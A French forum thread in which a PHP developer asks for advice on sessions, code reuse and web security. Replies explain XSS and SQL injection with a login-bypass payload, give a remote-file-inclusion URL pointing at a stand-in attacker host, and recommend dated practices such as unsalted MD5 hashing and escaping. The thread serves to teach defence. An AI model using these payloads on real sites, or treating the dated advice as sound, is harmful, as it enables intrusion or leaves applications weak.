Bonjour,
Pour le boulot, je dois développer une petite appli web reposant sur PHP + MySQL.
Les utilisateurs devront s'authentifier pour ensuite pouvoir utiliser le site en fonction des droits qui leur ont été attribués.
J'aimerai donc savoir si quelqu'un possède de très bons liens vers de la doc qui expliquerait comment :
- Utiliser "correctement" les sessions. PHP4 gère les sessions mais sous forme de fichiers. Quelle méthode est la meilleure dans ce cas : SQL ou les fichiers ? Un petit lien qui explique comment travailler avec les sessions ?
- Faire du code le plus réutilisable possible (fonctions, classes, etc...)
- et surtout comment développer un site le plus secure possible avec des exemples de trucs à ne jamais faire si on ne veut pas voir son site explosé en 2 minutes montre en main. Si le projet fonctionne bien, il n'est pas exclu que je le distribue ensuite sous licence GPL (bien que très spécifique mais bon...). Aussi, je préférerais ne pas laisser trainer des trous immenses dans le code s'il venait à être diffusé ensuite.
J'entends souvent parler de XSS, SQL injection et tout ce bazard sans réellement savoir ce que c'est et surtout comment s'en protéger.
Bref... Je cherche de la très bonne doc (même de la doc qui ne couvrirait pas les points mentionnés ci-dessus).
Merci à vous.
# Nexen
Posté par fane . Évalué à 1.
jusqu'à présent j'ai toujours trouvé ce que je cherchais sur php et MySQL.
# mes remarques
Posté par Fabien Penso (site web personnel, Mastodon) . Évalué à 2.
Utiliser "correctement" les sessions. PHP4 gère les sessions mais sous forme de fichiers. Quelle méthode est la meilleure dans ce cas : SQL ou les fichiers ? Un petit lien qui explique comment travailler avec les sessions ?
Idéalement ca devrait te permettre de manière transparente de choisir de stocker tes sessions en SQL, en mémoire, en fichier, etc, et simplement.
Faire du code le plus réutilisable possible (fonctions, classes, etc...)
En gros le mieux c'est de pouvoir développer par composant, comme ça tu peux vraiment réutiliser ton code.
[^] # Re: mes remarques
Posté par GCN (site web personnel) . Évalué à 3.
Y'a-t-il quelquepart une doc qui décrit comment fonctionne le mécanisme d'authentification de DLFP ?
Cette histoire de unique_id, md5 m'intrigue beaucoup... :)
Je ne sais pas si tu contribues toujours (de près ou de loin) au code de DLFP mais je pense que tu dois être à l'origine (si ce n'est très au courant) du fonctionnement de cette chose !
# XSS, SQL injection
Posté par jusob . Évalué à 3.
XSS = Cross Site Scripting
XSS et SQL Injection repose sur le meme probleme: le filtrage des entrees utilisateur.
XSS: ton site possede par exemple une parti wiki ou les utilisateurs peuvent ajouter du texte. Il te faut absoluemnt eviter que l'utilisateur puisse faire afficher du code malicieux (Javascript, ActiveX, ...) sur un le navigateur d'un utilisateur qui regardera la page modifiee.
SQL Injection: ton site posse, par exemple, unge page pour entrer ton login et ton mot de passe. Tu passes tes donnes a une requete du style:
SELECT * FROM Users WHERE login="$login" AND password="$password" ($login et $password sont donnees par l'utilisateur)
Si un utilisateur rentre par exemple:
login: moi" OR 1=1 OR 1="
password: toi" OR 1=1 OR 1="
La requeste devient alors:
SELECT * FORM Users WHERE login="moi" OR 1=1 OR 1="" AND password="toi" OR 1=1 OR 1=""
Comme 1=1 est toujours vrai (seul le dernier 1=1 dans la requete precedente peut suffire), la requete se resule a SELECT * FORM Users
Dans les 2 cas, il faut faire filtrer ce que peut rentrer l'utilisateur. 2 methodes:
* interdire certains caracteres => mauvaise methode car "tu ne sais pas ce que tu ne sais pas!". Il est impossible de connaitre l'ensemble (potentiellement infini) des combinaisons dangereuses. Voir les problemes qu'il y a peu avoir avec l'encode Unicode par exemple
* authoriser certains caracteres seulement => a-z, A-Z, 0-9 par exemple
Quelques autres erreurs/recommandations classiques:
* laisser des fichiers sensibles en lecture pour tout le mode
Peut etre eviter en verifiant les droits, et en ajoutant systematiquement l'extension .php (si programmation PHP) a un fichier. Comme ca, si on tente d'y acceder, le contenu sera interprete comme du code PHP, et n'affichera vraisemblablement rien
* des URL du type index.php?file=data/page1.php (pour charger la page data/page1.php)
Cela permettrait sans doute de contourner les permissions sur les fichiers pour lire n'importe quoi, mais aussi de faire interpreter n'importe quelle page avec les droits locaux: index.php?file=http://attacker.com/download-all.php(...)
* il est recommender de crypter les donnes si possible, dans un "sens unique"
Comme pour le fichier /etc/passwd, encrypter sans possiblilte de decrypter les login et passowrd
* Ne pas imaginer que les donnes envoyees en POST sont invisibles a l'utilisateur sous pretexte que cela ne s'affiche pas dans l'URL
* ne pas afficher les erreurs PHP qui pourraient donner trop d'informations sur la configuration
On voit des messages du type: ERROR: cannot open /home/web/~website/lib/file.inc.php
* ...
Apres, rien ne sert de securiser l'application si le serveur (MySQ, Apache, OS, ...) n'est pa securise lui-meme: Apache avec les droits root ou ayant acces a tout le systeme (pas de chroot), failles de securite connues, ...
[^] # Re: XSS, SQL injection
Posté par GCN (site web personnel) . Évalué à 2.
[^] # Re: XSS, SQL injection
Posté par Damien Metzler . Évalué à 2.
Ce que je fais :
1° Je vais chercher le mot de passe crypté en base et stocké à la manière LDAP : {MD5}lmkjfaofinqmcndfqm= par exemple.
2° Je prend le mot de passe que l'utilisateur à donné que je crypte avec la méthode du dessus et je compare.
La seule info dont tu as besoin pour ta requête SQL est le login de l'utilisateur. Si l'utilisateur arrive à injecter du SQL ça ne servira de toute façon pas à grand chose : juste ne pas récupérer le mot de passe crypté et donc cela générera une erreur ou un compte nul.
De plus avec cette méthode, tu peux crypter tes mots de passe avec différents algos de manière transparente. Enfin si un jour tu migres sur une LDAP, la migration des mots de passes ne posera pas de problème ;-)
[^] # Re: XSS, SQL injection
Posté par partner . Évalué à 1.
La requete devient alors:
SELECT * FORM Users WHERE login="moi\" OR 1=1 OR 1=\"" AND password="toi\" OR 1=1 OR 1=\""
Suivre le flux des commentaires
Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.